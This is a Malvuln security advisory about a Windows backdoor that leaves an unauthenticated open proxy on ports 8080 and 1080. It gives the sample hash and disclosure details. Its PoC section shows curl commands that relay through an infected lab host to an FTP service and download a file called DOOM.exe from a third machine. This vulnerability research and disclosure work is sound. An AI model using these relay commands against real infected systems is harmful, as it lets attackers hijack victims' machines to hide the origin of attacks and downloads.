HEUR.Backdoor.Win32.Generic / Unauthenticated Open Proxy

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/6a96fc226fbe9f0efbcc8a7b2e34b807.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: HEUR.Backdoor.Win32.Generic
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party
attackers who can connect to the infected system can relay requests from
the original connection to the destination and then back to the origination
system. Attackers may then be able to launch attacks, download files or
port scan third party systems and it will appear as the attacks originated
from that infected host.
Type: PE32
MD5: 6a96fc226fbe9f0efbcc8a7b2e34b807
Vuln ID: MVID-2021-0378
Dropped files: ssytme
Disclosure: 10/27/2021

Exploit/PoC:
curl http://192.168.18.125:8080 -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output
DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100 24576  100 24576    0     0  24576      0  0:00:01 --:--:--  0:00:01
 380k

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use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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